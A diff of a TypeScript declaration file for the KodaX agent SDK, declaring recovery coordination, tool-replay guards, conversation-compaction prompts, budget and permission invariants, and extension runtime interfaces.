droppedToolCallIds: string[];
|
|
1954
|
+
executedToolCallIds: string[];
|
|
1955
|
+
};
|
|
1956
|
+
/**
|
|
1957
|
+
* Resets the tracker to initial state for a new conversation.
|
|
1958
|
+
*/
|
|
1959
|
+
reset(): void;
|
|
1960
|
+
private createInitialState;
|
|
1961
|
+
}
|
|
1962
|
+
|
|
1963
|
+
/**
|
|
1964
|
+
* KodaX Recovery Coordinator (Feature 045)
|
|
1965
|
+
*
|
|
1966
|
+
* Orchestrates the 4-step recovery ladder:
|
|
1967
|
+
* 1. Fresh connection retry — retry with same messages (pre-delta failures)
|
|
1968
|
+
* 2. Stable boundary retry — reconstruct from stable boundary (mid-stream failures)
|
|
1969
|
+
* 3. Non-streaming fallback — switch to non-streaming mode
|
|
1970
|
+
* 4. Manual continue — stop and ask user for intervention
|
|
1971
|
+
*/
|
|
1972
|
+
|
|
1973
|
+
declare class ProviderRecoveryCoordinator {
|
|
1974
|
+
private readonly boundaryTracker;
|
|
1975
|
+
private readonly config;
|
|
1976
|
+
private nonStreamingFallbackUsed;
|
|
1977
|
+
private thinkingSanitizationUsed;
|
|
1978
|
+
constructor(boundaryTracker: StableBoundaryTracker, config: ProviderResilienceConfig);
|
|
1979
|
+
/**
|
|
1980
|
+
* Determines the recovery action for a given failure.
|
|
1981
|
+
*
|
|
1982
|
+
* The recovery ladder selects the mildest appropriate action:
|
|
1983
|
+
* - Step 1 (fresh_connection_retry): For pre-delta failures
|
|
1984
|
+
* - Step 2 (stable_boundary_retry): For mid-stream failures
|
|
1985
|
+
* - Step 3 (non_streaming_fallback): For repeated streaming failures
|
|
1986
|
+
* - Step 4 (manual_continue): When all retries are exhausted
|
|
1987
|
+
*/
|
|
1988
|
+
decideRecoveryAction(error: Error, classified: ResilienceClassification, attempt: number): RecoveryDecision;
|
|
1989
|
+
/**
|
|
1990
|
+
* Executes a recovery decision by reconstructing messages
|
|
1991
|
+
* from the stable boundary.
|
|
1992
|
+
*
|
|
1993
|
+
* @param messages - The current message list
|
|
1994
|
+
* @param decision - The recovery decision to execute
|
|
1995
|
+
* @returns Recovery result with reconstructed messages
|
|
1996
|
+
*/
|
|
1997
|
+
executeRecovery(messages: KodaXMessage[], decision: RecoveryDecision): RecoveryResult;
|
|
1998
|
+
private selectRecoveryStrategy;
|
|
1999
|
+
private executeFreshConnectionRetry;
|
|
2000
|
+
private executeStableBoundaryRetry;
|
|
2001
|
+
private executeNonStreamingFallback;
|
|
2002
|
+
private executeManualContinue;
|
|
2003
|
+
private executeSanitizeThinking;
|
|
2004
|
+
/**
|
|
2005
|
+
* Resets the coordinator for a new request chain.
|
|
2006
|
+
*/
|
|
2007
|
+
reset(): void;
|
|
2008
|
+
}
|
|
2009
|
+
|
|
2010
|
+
/**
|
|
2011
|
+
* KodaX Tool Guard (Feature 045)
|
|
2012
|
+
*
|
|
2013
|
+
* Prevents tool side-effect replay during provider recovery.
|
|
2014
|
+
* When recovering to a stable boundary, executed tool results must be
|
|
2015
|
+
* preserved and incomplete tool calls must be dropped.
|
|
2016
|
+
*
|
|
2017
|
+
* This module provides the message reconstruction logic that ensures:
|
|
2018
|
+
* 1. Executed tool results are preserved in the reconstructed messages
|
|
2019
|
+
* 2. Dropped tool calls are cleaned up (removed from pending)
|
|
2020
|
+
* 3. A continuation hint is appended so the model knows to continue
|
|
2021
|
+
* from where it left off
|
|
2022
|
+
*/
|
|
2023
|
+
|
|
2024
|
+
/**
|
|
2025
|
+
* Reconstructs messages after a recovery, ensuring executed tool results
|
|
2026
|
+
* are preserved and dropped tool calls are cleaned up.
|
|
2027
|
+
*
|
|
2028
|
+
* @param stableMessages - Messages up to the stable boundary
|
|
2029
|
+
* @param executedToolCallIds - Tool calls that have been executed (preserve results)
|
|
2030
|
+
* @param droppedToolCallIds - Tool calls that were in progress (drop them)
|
|
2031
|
+
* @returns Reconstructed message list
|
|
2032
|
+
*/
|
|
2033
|
+
declare function reconstructMessagesWithToolGuard(stableMessages: KodaXMessage[], executedToolCallIds: string[], droppedToolCallIds: string[]): KodaXMessage[];
|
|
2034
|
+
|
|
2035
|
+
/**
|
|
2036
|
+
* KodaX Agent — public SDK entry post-FEATURE_100 P3.6r/P3.6s.
|
|
2037
|
+
*
|
|
2038
|
+
* `runKodaX(opts, prompt)` is the stable SDK signature; internally it
|
|
2039
|
+
* delegates to `Runner.run(createDefaultCodingAgent(), …)` so SA
|
|
2040
|
+
* execution always flows through the Layer-A frame (Option Y deletion
|
|
2041
|
+
* per ADR-020 / v0.7.29 §239 §371). Substrate body lives in
|
|
2042
|
+
* `agent-runtime/run-substrate.ts` (`runSubstrate`) and is wired via
|
|
2043
|
+
* the `Agent.substrateExecutor` closure attached in `coding-preset.ts`.
|
|
2044
|
+
*/
|
|
2045
|
+
|
|
2046
|
+
declare function runKodaX(options: KodaXOptions, prompt: string): Promise<KodaXResult>;
|
|
2047
|
+
|
|
2048
|
+
/**
|
|
2049
|
+
* v0.7.35.1 FEATURE_142 (B-R1) — Coding-flavored compaction summary prompts.
|
|
2050
|
+
*
|
|
2051
|
+
* These are the verbatim v0.7.35 compaction prompts (byte-identical to
|
|
2052
|
+
* the prior `SUMMARY_PROMPT` / `UPDATE_SUMMARY_PROMPT` constants in
|
|
2053
|
+
* `@kodax-ai/session-lineage/src/compaction/summary-generator.ts`). They
|
|
2054
|
+
* remain the empirically best-performing prompts on the coding domain
|
|
2055
|
+
* (96.7% recall on the 10-fixture eval; see
|
|
2056
|
+
* `tests/compaction-prompt.eval.ts`) AND happen to also be the best on
|
|
2057
|
+
* the non-coding domain (97.0% recall) in the same eval — the wording
|
|
2058
|
+
* is coding-flavored but the structure generalizes.
|
|
2059
|
+
*
|
|
2060
|
+
* Why they live here: per ADR-021, @kodax-ai/session-lineage is the
|
|
2061
|
+
* generic compaction primitive package and must not enumerate
|
|
2062
|
+
* coding-specific language ("coding agent", "file paths, function
|
|
2063
|
+
* names", "HTTP status codes", "## Files & Changes") in its public
|
|
2064
|
+
* prompt strings. Those strings now live in the @kodax-ai/coding layer
|
|
2065
|
+
* and are passed downward via the `summaryPrompt` /
|
|
2066
|
+
* `updateSummaryPrompt` parameters of `compact()` /
|
|
2067
|
+
* `buildCompactionPromptSnapshot()` / `generateSummary()`.
|
|
2068
|
+
*
|
|
2069
|
+
* Coding-flow callers (currently `compaction-orchestration.ts` and
|
|
2070
|
+
* `repl/.../commands.ts`) pass these constants explicitly so the
|
|
2071
|
+
* coding path produces a byte-equivalent prompt to v0.7.35 — preserving
|
|
2072
|
+
* the empirically validated 96.7% recall.
|
|
2073
|
+
*
|
|
2074
|
+
* Generic / non-coding consumers of @kodax-ai/session-lineage get the
|
|
2075
|
+
* neutral `DEFAULT_SUMMARY_PROMPT` / `DEFAULT_UPDATE_SUMMARY_PROMPT`
|
|
2076
|
+
* (the candidate-a-conservative eval winner) by default — they pay a
|
|
2077
|
+
* 2-3pt non-coding recall cost for not knowing they should pass these
|
|
2078
|
+
* coding-flavored prompts, but their architectural surface stays clean.
|
|
2079
|
+
*/
|
|
2080
|
+
declare const CODING_SUMMARY_PROMPT = "Create a structured summary for the conversation below.\n\nThis summary will be handed to another coding agent so it can continue the same task with minimal context.\nKeep only information that is still useful for continuing the work.\n\nYou may drop:\n- completed low-value micro-steps\n- repetitive thinking\n- stale intermediate plans\n- verbose tool output details\n\nYou must keep:\n- the current goal\n- user constraints and preferences\n- current progress and unfinished work\n- blockers or unresolved questions\n- the most important next steps\n- EXACT file paths, function names, and line numbers referenced\n- EXACT error messages, HTTP status codes, and exception types\n- API endpoints, database tables, env vars, and config values mentioned\n- key decisions WITH reasoning (not just the choice)\n\nCRITICAL: Every user REQUEST and DECISION must be preserved verbatim or near-verbatim.\nNever reduce \"user asked to fix the 401 error on /api/auth/login by switching to JWT\"\nto \"user asked to fix an error\".\n\nKeep the summary concise and high-signal. Do not mechanically preserve every historical detail.\n\nFirst, wrap your analysis in <analysis> tags:\n- Walk through messages chronologically\n- Note exact file paths, function names, error codes, config values\n- Identify user's explicit requests vs inferred intent\n- Flag technical details that MUST survive compression\n\nThen output the structured summary in <summary> tags.\n\nOutput format (strict markdown, inside <summary> tags):\n\n## Goal\n[1-2 sentences describing the active goal]\n\n## Constraints & Preferences\n- [One item per line]\n- [Write \"None\" if there are no explicit constraints]\n\n## Progress\n### Completed\n- [x] [Completed work that still matters for context]\n\n### In Progress\n- [ ] [Current work that is actively underway]\n\n### Blockers\n- [Current blockers, or \"None\"]\n\n## Key Decisions\n- **[Decision]**: [Short reason]\n\n## Next Steps\n1. [Highest-priority next action]\n\n## Key Context\n- [Critical context needed to continue]\n\n## Files & Changes\n- **[exact path]**: [what was done and why]\n\n---\n\n<read-files>\n[One path per line, leave empty if none]\n</read-files>\n\n<modified-files>\n[One path per line, leave empty if none]\n</modified-files>\n\nConversation:\n";
|
|
2081
|
+
declare const CODING_UPDATE_SUMMARY_PROMPT = "Merge the new conversation content above into <previous-summary>.\n\nUpdate the structured summary so another coding agent can continue the task immediately.\nKeep only the information needed to continue the work.\n\nYou may remove:\n- repetitive or superseded plans\n- completed low-value steps\n- outdated blockers\n- noisy tool output details\n\nYou must preserve or update:\n- the current goal\n- user constraints and preferences\n- current progress and unfinished work\n- blockers that still matter\n- next steps based on the latest state\n- EXACT file paths, function names, and line numbers\n- EXACT error messages, HTTP status codes, and exception types\n- API endpoints, database tables, env vars, and config values\n- key decisions WITH reasoning\n\nCRITICAL: Every user REQUEST and DECISION must be preserved verbatim or near-verbatim.\n\nDo not accumulate every past detail. Compress aggressively while keeping continuation-critical context.\n\nFirst, wrap your analysis in <analysis> tags, then output the summary in <summary> tags.\n\nOutput format (strict markdown, inside <summary> tags):\n\n## Goal\n[Updated goal]\n\n## Constraints & Preferences\n- [Relevant constraints only]\n\n## Progress\n### Completed\n- [x] [Completed work that still matters]\n\n### In Progress\n- [ ] [Active work in the latest state]\n\n### Blockers\n- [Current blockers, or \"None\"]\n\n## Key Decisions\n- **[Decision]**: [Short reason]\n\n## Next Steps\n1. [Most relevant next action]\n\n## Key Context\n- [Critical context needed to continue]\n\n## Files & Changes\n- **[exact path]**: [what was done and why]\n\n---\n\n<read-files>\n[One path per line, leave empty if none]\n</read-files>\n\n<modified-files>\n[One path per line, leave empty if none]\n</modified-files>\n\nKeep every section concise.";
|
|
2082
|
+
|
|
2083
|
+
/**
|
|
2084
|
+
* FEATURE_101 invariant: `boundedRevise`.
|
|
2085
|
+
*
|
|
2086
|
+
* Observe-time check: warns when the per-harness revise count climbs
|
|
2087
|
+
* past the system soft cap. The hard cap is enforced by the budget
|
|
2088
|
+
* controller in `task-engine/_internal/managed-task/budget.ts`; this
|
|
2089
|
+
* invariant adds an admission-trace breadcrumb so dispatch-eval can
|
|
2090
|
+
* track "how often does the LLM hit the revise wall".
|
|
2091
|
+
*
|
|
2092
|
+
* v1 threshold = `MANAGED_TASK_MAX_REFINEMENT_ROUND_CAP + 1 = 3`
|
|
2093
|
+
* (one starter + two refinements). Crossing it doesn't abort the run —
|
|
2094
|
+
* the runtime keeps clamping at the hard cap — but it lights a warn
|
|
2095
|
+
* signal. The threshold is intentionally hardcoded here rather than
|
|
2096
|
+
* imported from `task-engine` constants: that constants module is
|
|
2097
|
+
* private to the task-engine, and admission is a separate concern.
|
|
2098
|
+
* Drift (e.g. the runtime cap changes to 4) means the warn signal
|
|
2099
|
+
* lights one round earlier than the hard cap, which is the desired
|
|
2100
|
+
* direction for a soft signal.
|
|
2101
|
+
*
|
|
2102
|
+
* No admit hook in v1 — and that stays true in v0.7.31.2 even though
|
|
2103
|
+
* the surrounding plumbing now supports it. v0.7.31.2 added
|
|
2104
|
+
* `AgentManifest.maxIterations` (admission.ts) plus the
|
|
2105
|
+
* `applyManifestPatch` apply branch for `clampMaxIterations`, and
|
|
2106
|
+
* `Runner.run` reads the post-clamp manifest cap via
|
|
2107
|
+
* `getAdmittedAgentBindings`. What's still missing is an admit-time
|
|
2108
|
+
* SOURCE: no v1 invariant inspects manifest content and emits a
|
|
2109
|
+
* `clampMaxIterations` patch. So the field exists, the apply path
|
|
2110
|
+
* exists, and the runtime enforcement exists — but `boundedRevise`
|
|
2111
|
+
* itself stays observe-only by design (its v1 contract is the
|
|
2112
|
+
* runtime soft warn, not admit-time clamping). A future version may
|
|
2113
|
+
* promote this invariant to admit+observe once we have a concrete
|
|
2114
|
+
* policy ("manifests declaring revise-heavy roles get clamped to N
|
|
2115
|
+
* iterations"). admission.ts §第一版 Invariant 清单 "boundedRevise:
|
|
2116
|
+
* maxIterations ≤ system; runtime tracks revise count" is satisfied
|
|
2117
|
+
* by the runtime budget controller (the hard cap) plus this
|
|
2118
|
+
* observe-time soft warn.
|
|
2119
|
+
*/
|
|
2120
|
+
|
|
2121
|
+
declare const boundedRevise: QualityInvariant;
|
|
2122
|
+
|
|
2123
|
+
/**
|
|
2124
|
+
* FEATURE_101 invariant: `budgetCeiling`.
|
|
2125
|
+
*
|
|
2126
|
+
* Admit-time check: manifest.maxBudget must not exceed systemCap.maxBudget.
|
|
2127
|
+
* If it does, clamp via a `clampMaxBudget` patch — the manifest is
|
|
2128
|
+
* admitted with the lower value.
|
|
2129
|
+
*
|
|
2130
|
+
* Why this lives in @kodax-ai/coding (not @kodax-ai/core): the system budget
|
|
2131
|
+
* baseline is `DEFAULT_MANAGED_WORK_BUDGET = 200` declared in the coding
|
|
2132
|
+
* task-engine constants. Admission's job is to express the same policy
|
|
2133
|
+
* declaratively at the manifest layer; the actual runtime budget
|
|
2134
|
+
* controller in `task-engine/_internal/managed-task/budget.ts` enforces
|
|
2135
|
+
* iteration deductions per turn. This invariant adds the up-front
|
|
2136
|
+
* "your declared budget is over the cap" feedback to LLM-generated
|
|
2137
|
+
* manifests so they don't request 100k iterations and discover at
|
|
2138
|
+
* runtime that they get 200.
|
|
2139
|
+
*
|
|
2140
|
+
* v1 only handles maxBudget; clampMaxIterations is the `boundedRevise`
|
|
2141
|
+
* invariant's territory (separate-concern). Pure function.
|
|
2142
|
+
*/
|
|
2143
|
+
|
|
2144
|
+
declare const budgetCeiling: QualityInvariant;
|
|
2145
|
+
|
|
2146
|
+
/**
|
|
2147
|
+
* FEATURE_101 invariant: `independentReview`.
|
|
2148
|
+
*
|
|
2149
|
+
* Verifier-binding invariant: when a manifest's role topology includes
|
|
2150
|
+
* a Generator (mutation-producing) role, an Evaluator must also be
|
|
2151
|
+
* reachable so the generator's output is independently verified. v1
|
|
2152
|
+
* uses agent name conventions (`generator` / `evaluator`) — the
|
|
2153
|
+
* canonical role names declared by `@kodax-ai/core/task-engine-agents.ts`.
|
|
2154
|
+
*
|
|
2155
|
+
* Hooks:
|
|
2156
|
+
* - admit: walk the reachable handoff graph from the manifest. If
|
|
2157
|
+
* any node has name === 'generator', some node must also have name
|
|
2158
|
+
* === 'evaluator'. Single-role manifests (scout / planner / direct
|
|
2159
|
+
* execution) admit unconditionally.
|
|
2160
|
+
* - assertTerminal: if the deliverable recorded mutations, it must
|
|
2161
|
+
* carry a `verdict` field (the evaluator's accept/revise/blocked
|
|
2162
|
+
* emission). A mutating run with no verdict means the generator
|
|
2163
|
+
* bypassed verification — reject.
|
|
2164
|
+
*
|
|
2165
|
+
* The verifier-can't-read-generator-reasoning contract from
|
|
2166
|
+
* FEATURE_101 §verifier separation lives at the message-routing layer
|
|
2167
|
+
* (handoff inputFilter); admission's job here is to ensure the role
|
|
2168
|
+
* pairing exists, not to police the message flow.
|
|
2169
|
+
*/
|
|
2170
|
+
|
|
2171
|
+
declare const independentReview: QualityInvariant;
|
|
2172
|
+
|
|
2173
|
+
/**
|
|
2174
|
+
* FEATURE_101 invariant: `toolPermission`.
|
|
2175
|
+
*
|
|
2176
|
+
* Admit-time check: every tool the manifest declares must resolve to a
|
|
2177
|
+
* `ToolCapability` tier that systemCap.allowedToolCapabilities permits.
|
|
2178
|
+
* Tools whose tier is not allowed get clamped via `removeTools`.
|
|
2179
|
+
*
|
|
2180
|
+
* Tier mapping mirrors FEATURE_092's auto-mode classifier (v0.7.33) and
|
|
2181
|
+
* FEATURE_094's anti-escape policy (v0.7.36): the same coarse categories
|
|
2182
|
+
* the runtime guardrails reason about. Unknown tools (custom MCP tools,
|
|
2183
|
+
* extensions) default to 'subagent' — the most restrictive bucket — so
|
|
2184
|
+
* deployments that haven't allow-listed `subagent` capability will see
|
|
2185
|
+
* unknown tools clamped, which is the safe default.
|
|
2186
|
+
*
|
|
2187
|
+
* Pure function. The mapping is intentionally a flat switch instead of
|
|
2188
|
+
* a registry lookup: keeps the invariant pure and self-contained, and
|
|
2189
|
+
* the canonical tools list barely changes between releases.
|
|
2190
|
+
*/
|
|
2191
|
+
|
|
2192
|
+
/**
|
|
2193
|
+
* Resolve a tool name to its capability tier. The mapping reflects the
|
|
2194
|
+
* canonical KodaX tool surface (see `coding/src/tools/registry.ts`).
|
|
2195
|
+
* Unknown names fall through to `'subagent'` — the strictest tier — so
|
|
2196
|
+
* the default behaviour for unaudited tools is to require explicit
|
|
2197
|
+
* allow-list approval.
|
|
2198
|
+
*/
|
|
2199
|
+
declare function resolveToolCapability(toolName: string): ToolCapability;
|
|
2200
|
+
declare const toolPermission: QualityInvariant;
|
|
2201
|
+
|
|
2202
|
+
/**
|
|
2203
|
+
* Capability-coupled + coding-AMA-specific invariants registered by
|
|
2204
|
+
* @kodax-ai/coding.
|
|
2205
|
+
*
|
|
2206
|
+
* Pairs with `@kodax-ai/agent`'s pure-new invariants (`finalOwner`,
|
|
2207
|
+
* `handoffLegality`, `evidenceTrail`). Together they form the FEATURE_101
|
|
2208
|
+
* admission v1 closed set + FEATURE_106 external.
|
|
2209
|
+
*
|
|
2210
|
+
* Why this split:
|
|
2211
|
+
*
|
|
2212
|
+
* - Three pure invariants (finalOwner, handoffLegality, evidenceTrail)
|
|
2213
|
+
* are pure functions of admission types and live in @kodax-ai/agent.
|
|
2214
|
+
* - Four coupled invariants (budgetCeiling, toolPermission,
|
|
2215
|
+
* boundedRevise, independentReview) tie into @kodax-ai/coding's budget
|
|
2216
|
+
* controller / tool registry / revise tracker / role conventions and
|
|
2217
|
+
* live here.
|
|
2218
|
+
* - `harnessSelectionTiming` (FEATURE_106 external) reads coding's AMA
|
|
2219
|
+
* `ctx.recorder.scout.payload.scout.confirmedHarness` and lives here
|
|
2220
|
+
* too (v0.7.35.1 FEATURE_142 A-R2 moved it from @kodax-ai/agent per
|
|
2221
|
+
* ADR-021 — agent admission framework must not enumerate coding-AMA
|
|
2222
|
+
* field names).
|
|
2223
|
+
*
|
|
2224
|
+
* `registerCodingInvariants()` is the canonical bootstrap entry point
|
|
2225
|
+
* — call it once at SDK startup (or in test setup paired with
|
|
2226
|
+
* `_resetInvariantRegistry()`). The function also calls
|
|
2227
|
+
* `registerCoreInvariants()` so a single call wires the full v1 set +
|
|
2228
|
+
* harnessSelectionTiming.
|
|
2229
|
+
*/
|
|
2230
|
+
|
|
2231
|
+
/**
|
|
2232
|
+
* Coding-package-supplied invariants in registration order.
|
|
2233
|
+
* v0.7.35.1 FEATURE_142 (A-R2): added `harnessSelectionTiming` (moved
|
|
2234
|
+
* from @kodax-ai/agent's pure-invariant set).
|
|
2235
|
+
*
|
|
2236
|
+
* v0.7.36 FEATURE_114: added `planBeforeMutate` — V2 plan-first
|
|
2237
|
+
* structural observation. Registers alongside `harnessSelectionTiming`
|
|
2238
|
+
* (not as a replacement); the two coexist because V1 runs gate on the
|
|
2239
|
+
* Scout-emitted harness verdict while V2 runs gate on Worker
|
|
2240
|
+
* `todo_update`. Each predicate no-ops when its expected fields are
|
|
2241
|
+
* absent, so ship-side flag toggle (KODAX_HARNESS_V2) does not need a
|
|
2242
|
+
* separate registry.
|
|
2243
|
+
*/
|
|
2244
|
+
declare const CODING_INVARIANTS: readonly QualityInvariant[];
|
|
2245
|
+
/**
|
|
2246
|
+
* Register the @kodax-ai/coding capability-coupled + coding-AMA-specific
|
|
2247
|
+
* invariants AND the @kodax-ai/agent pure-new invariants. Single bootstrap
|
|
2248
|
+
* call covers the FEATURE_101 admission v1 closed set + FEATURE_106's
|
|
2249
|
+
* external `harnessSelectionTiming`.
|
|
2250
|
+
*
|
|
2251
|
+
* Order matters: agent first (so the closed-set ids appear in
|
|
2252
|
+
* registration order before the coding additions), then coding.
|
|
2253
|
+
* Tests that need a specific subset should `_resetInvariantRegistry()`
|
|
2254
|
+
* and register only what they need.
|
|
2255
|
+
*/
|
|
2256
|
+
declare function registerCodingInvariants(): void;
|
|
2257
|
+
|
|
2258
|
+
/**
|
|
2259
|
+
* KodaX Client
|
|
2260
|
+
*
|
|
2261
|
+
* 高级模式 - 提供面向对象的 Agent 客户端
|
|
2262
|
+
*/
|
|
2263
|
+
|
|
2264
|
+
declare class KodaXClient {
|
|
2265
|
+
private options;
|
|
2266
|
+
private sessionId;
|
|
2267
|
+
private messages;
|
|
2268
|
+
private contextTokenSnapshot;
|
|
2269
|
+
constructor(options: KodaXOptions);
|
|
2270
|
+
send(prompt: string): Promise<KodaXResult>;
|
|
2271
|
+
getSessionId(): string;
|
|
2272
|
+
getMessages(): KodaXMessage[];
|
|
2273
|
+
clear(): void;
|
|
2274
|
+
}
|
|
2275
|
+
|
|
2276
|
+
declare function createFanoutSchedulerInput(controllerDecision: KodaXAmaControllerDecision, bundles: KodaXChildContextBundle[], reductionContract: KodaXParentReductionContract): KodaXFanoutSchedulerInput | undefined;
|
|
2277
|
+
declare function buildFanoutSchedulerPlan(input: KodaXFanoutSchedulerInput): KodaXFanoutSchedulerPlan;
|
|
2278
|
+
declare function getFanoutBranch(plan: KodaXFanoutSchedulerPlan, bundleId: string): KodaXFanoutBranchRecord;
|
|
2279
|
+
declare function countActiveFanoutBranches(plan: KodaXFanoutSchedulerPlan): number;
|
|
2280
|
+
declare function applyFanoutBranchTransition(plan: KodaXFanoutSchedulerPlan, transition: KodaXFanoutBranchTransition): KodaXFanoutSchedulerPlan;
|
|
2281
|
+
declare function assignFanoutBranchWorker(plan: KodaXFanoutSchedulerPlan, bundleId: string, workerId: string): KodaXFanoutSchedulerPlan;
|
|
2282
|
+
declare function markFanoutBranchCompleted(plan: KodaXFanoutSchedulerPlan, bundleId: string, childId?: string): KodaXFanoutSchedulerPlan;
|
|
2283
|
+
declare function markFanoutBranchCancelled(plan: KodaXFanoutSchedulerPlan, bundleId: string, reason: string): KodaXFanoutSchedulerPlan;
|
|
2284
|
+
|
|
2285
|
+
/**
|
|
2286
|
+
* Protocol emitter tools — FEATURE_084 Shard 2 (v0.7.26).
|
|
2287
|
+
*
|
|
2288
|
+
* Four role-specific `RunnableTool`s that replace the fenced-block text
|
|
2289
|
+
* protocol used by Scout / Planner / Generator / Evaluator today. Each tool
|
|
2290
|
+
* accepts a structured JSON payload, normalizes it via
|
|
2291
|
+
* `coerceManagedProtocolToolPayload` (the same normalizer the old fenced-block
|
|
2292
|
+
* parser uses), and surfaces the normalized payload on the tool result
|
|
2293
|
+
* `metadata.payload` field so the new Runner-driven task engine
|
|
2294
|
+
* (FEATURE_084 Shard 5) can make routing decisions without text parsing.
|
|
2295
|
+
*
|
|
2296
|
+
* **Data-only at this shard**: nothing consumes these tools yet. The SA
|
|
2297
|
+
* preset path and the existing managed-task engine continue to use the
|
|
2298
|
+
* legacy `emit_managed_protocol` tool + fenced-block fallback unchanged.
|
|
2299
|
+
*
|
|
2300
|
+
* **Payload parity contract**: a given JSON input MUST produce an identical
|
|
2301
|
+
* normalized payload to what the legacy fenced-block parser would produce
|
|
2302
|
+
* for the same JSON. This is enforced by sharing
|
|
2303
|
+
* `coerceManagedProtocolToolPayload` between both paths.
|
|
2304
|
+
*/
|
|
2305
|
+
|
|
2306
|
+
/** Public tool name — LLM sees this on the tool list. */
|
|
2307
|
+
declare const EMIT_SCOUT_VERDICT_TOOL_NAME = "emit_scout_verdict";
|
|
2308
|
+
declare const EMIT_CONTRACT_TOOL_NAME = "emit_contract";
|
|
2309
|
+
declare const EMIT_HANDOFF_TOOL_NAME = "emit_handoff";
|
|
2310
|
+
declare const EMIT_VERDICT_TOOL_NAME = "emit_verdict";
|
|
2311
|
+
/**
|
|
2312
|
+
* Shared metadata shape on the tool result. The Runner-driven task engine
|
|
2313
|
+
* (Shard 5) inspects `payload` to understand verdicts and
|
|
2314
|
+
* `handoffTarget` to execute the next role transition.
|
|
2315
|
+
*/
|
|
2316
|
+
interface ProtocolEmitterMetadata {
|
|
2317
|
+
/** The role that emitted this payload — always matches the tool's role. */
|
|
2318
|
+
readonly role: 'scout' | 'planner' | 'generator' | 'evaluator';
|
|
2319
|
+
/** Normalized payload slice (scout / contract / handoff / verdict). */
|
|
2320
|
+
readonly payload: Partial<KodaXManagedProtocolPayload>;
|
|
2321
|
+
/**
|
|
2322
|
+
* FEATURE_084 Shard 4 handoff signal. When set, the Runner looks up the
|
|
2323
|
+
* handoff in `currentAgent.handoffs` and transfers ownership. When
|
|
2324
|
+
* undefined, the current agent remains responsible (terminal / direct
|
|
2325
|
+
* case). See each emitter's body for the payload → target mapping.
|
|
2326
|
+
*/
|
|
2327
|
+
readonly handoffTarget?: string;
|
|
2328
|
+
/**
|
|
2329
|
+
* True when the payload denotes a terminal outcome (H0 direct, accept,
|
|
2330
|
+
* blocked). The Runner uses this as a signal that no further LLM turn is
|
|
2331
|
+
* expected after the current one.
|
|
2332
|
+
*/
|
|
2333
|
+
readonly isTerminal?: boolean;
|
|
2334
|
+
}
|
|
2335
|
+
/**
|
|
2336
|
+
* Scout verdict emitter. Reports the outcome of scope analysis and the
|
|
2337
|
+
* chosen harness tier. The Runner-driven task engine reads
|
|
2338
|
+
* `metadata.payload.scout.confirmedHarness` to decide whether to hand off
|
|
2339
|
+
* to Generator (H1) or Planner (H2), or to finish directly (H0).
|
|
2340
|
+
*/
|
|
2341
|
+
declare const emitScoutVerdict: RunnableTool;
|
|
2342
|
+
/**
|
|
2343
|
+
* Planner contract emitter (H2 only). Produces the execution contract the
|
|
2344
|
+
* Generator consumes: success criteria, required evidence, constraints.
|
|
2345
|
+
*/
|
|
2346
|
+
declare const emitContract: RunnableTool;
|
|
2347
|
+
/**
|
|
2348
|
+
* Generator handoff emitter. Signals that the Generator has finished its
|
|
2349
|
+
* execution round and hands off to the Evaluator for verification.
|
|
2350
|
+
*/
|
|
2351
|
+
declare const emitHandoff: RunnableTool;
|
|
2352
|
+
/**
|
|
2353
|
+
* Evaluator verdict emitter. Decides the terminal outcome of the round:
|
|
2354
|
+
* accept, revise (retry with same harness), or blocked. The Runner-driven
|
|
2355
|
+
* engine reads `metadata.payload.verdict.status` to decide next hop.
|
|
2356
|
+
*/
|
|
2357
|
+
declare const emitVerdict: RunnableTool;
|
|
2358
|
+
/** All four emitter tools, exposed as a tuple for iteration. */
|
|
2359
|
+
declare const PROTOCOL_EMITTER_TOOLS: readonly RunnableTool[];
|
|
2360
|
+
|
|
2361
|
+
declare function runManagedTask(options: KodaXOptions, prompt: string): Promise<KodaXResult>;
|
|
2362
|
+
|
|
2363
|
+
interface RuntimeDefaultsSnapshot {
|
|
2364
|
+
activeTools?: string[];
|
|
2365
|
+
modelSelection: ExtensionModelSelection;
|
|
2366
|
+
thinkingLevel?: KodaXReasoningMode;
|
|
2367
|
+
}
|
|
2368
|
+
interface BoundExtensionRuntimeController {
|
|
2369
|
+
queueUserMessage(message: string | KodaXMessage): void;
|
|
2370
|
+
getSessionState<T = KodaXJsonValue>(extensionId: string, key: string): T | undefined;
|
|
2371
|
+
setSessionState(extensionId: string, key: string, value: KodaXJsonValue | undefined): void;
|
|
2372
|
+
getSessionStateSnapshot(extensionId: string): Record<string, KodaXJsonValue>;
|
|
2373
|
+
appendSessionRecord(extensionId: string, type: string, data?: KodaXJsonValue, options?: {
|
|
2374
|
+
dedupeKey?: string;
|
|
2375
|
+
}): KodaXExtensionSessionRecord;
|
|
2376
|
+
listSessionRecords(extensionId: string, type?: string): KodaXExtensionSessionRecord[];
|
|
2377
|
+
clearSessionRecords(extensionId: string, type?: string): number;
|
|
2378
|
+
getActiveTools(): string[];
|
|
2379
|
+
setActiveTools(toolNames: string[]): void;
|
|
2380
|
+
getModelSelection(): ExtensionModelSelection;
|
|
2381
|
+
setModelSelection(next: ExtensionModelSelection): void;
|
|
2382
|
+
getThinkingLevel(): KodaXReasoningMode | undefined;
|
|
2383
|
+
setThinkingLevel(level: KodaXReasoningMode): void;
|
|
2384
|
+
}
|
|
2385
|
+
interface ExtensionLoadOptions {
|
|
2386
|
+
continueOnError?: boolean;
|
|
2387
|
+
loadSource?: ExtensionLoadSource;
|
|
2388
|
+
stage?: Extract<ExtensionFailureStage, 'load' | 'reload'>;
|
|
2389
|
+
}
|
|
2390
|
+
|
|
2391
|
+
declare class KodaXExtensionRuntime implements ExtensionRuntimeContract {
|
|
2392
|
+
private readonly capabilityProviders;
|
|
2393
|
+
private readonly commands;
|
|
2394
|
+
private readonly eventHandlers;
|
|
2395
|
+
private readonly hookHandlers;
|
|
2396
|
+
private readonly loadedExtensions;
|
|
2397
|
+
private readonly failures;
|
|
2398
|
+
private readonly runtimeDisposables;
|
|
2399
|
+
private readonly runtimeLogger;
|
|
2400
|
+
private readonly config;
|
|
2401
|
+
private readonly runtimeController;
|
|
2402
|
+
private nextRecordId;
|
|
2403
|
+
private boundController;
|
|
2404
|
+
private defaultActiveTools;
|
|
2405
|
+
private defaultModelSelection;
|
|
2406
|
+
private defaultThinkingLevel;
|
|
2407
|
+
constructor(options?: {
|
|
2408
|
+
config?: Readonly<Record<string, unknown>>;
|
|
2409
|
+
});
|
|
2410
|
+
activate(): this;
|
|
2411
|
+
getDefaults(): RuntimeDefaultsSnapshot;
|
|
2412
|
+
